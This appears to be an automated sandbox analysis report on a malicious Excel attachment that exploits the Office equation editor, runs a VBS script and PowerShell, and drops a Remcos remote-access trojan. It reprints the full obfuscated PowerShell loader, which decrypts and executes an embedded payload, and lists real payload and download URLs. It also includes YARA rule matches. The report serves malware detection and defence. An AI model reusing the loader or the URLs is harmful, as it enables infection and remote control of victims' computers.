Source: EQNEDT32.EXE, 00000007.00000002.430940411.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIFj
Source: powershell.exe, 00000009.00000002.447762696.00000000024CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000009.00000002.447762696.00000000024CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.449588027.0000000005032000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.445980970.0000000000020000.00000004.00000020.00040000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: powershell.exe, 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000009.00000002.446403842.00000000001CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.cU
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.447762696.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tny.wtf.url.3.dr	String found in binary or memory: http://tny.wtf/
Source: #U00d6DEME TAVS#U0130YES#U0130.xls, 4Gs.url.3.dr	String found in binary or memory: http://tny.wtf/4Gs
Source: ~DF796D981FE2E9145A.TMP.0.dr, F0630000.0.dr	String found in binary or memory: http://tny.wtf/4GsyX
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

System Summary

Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	OLE: Microsoft Excel 2007+
Source: ~DFB88BC22996138750.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: F0630000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\4Gs.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url			Jump to behavior

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002256F6	9_2_002256F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_002271E8	9_2_002271E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_0022966C	9_2_0022966C

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

OLE indicator, VBA macros: true

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

Stream path 'MBD000177E2/\x1Ole' : http://tny.wtf/4Gs[gs@9*&;GcGR"/6Gtwu-bh0Y%NL%V{I}<7[Ey\gTI}.s-3y7e@sI$*Jj.~/&HDp[Zh4s{uV5U!"zg!>D!%7I%:-gYw@3 5CkpaFtvQvbo75yYuIhL5XEgAzxqfuesWASniF4gl7CfE5lGzEs5karySqgK8twkJVQj9Kh"fB$kR."y+w'

Source: ~DFB88BC22996138750.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp.3.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@9/29@6/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\F0630000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR955B.tmp

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	OLE indicator, Workbook stream: true
Source: F0630000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....@.......H................K..............................................X..........s......&.....			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....@.......H................K........................................&.......................&.....			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"	Jump to behavior
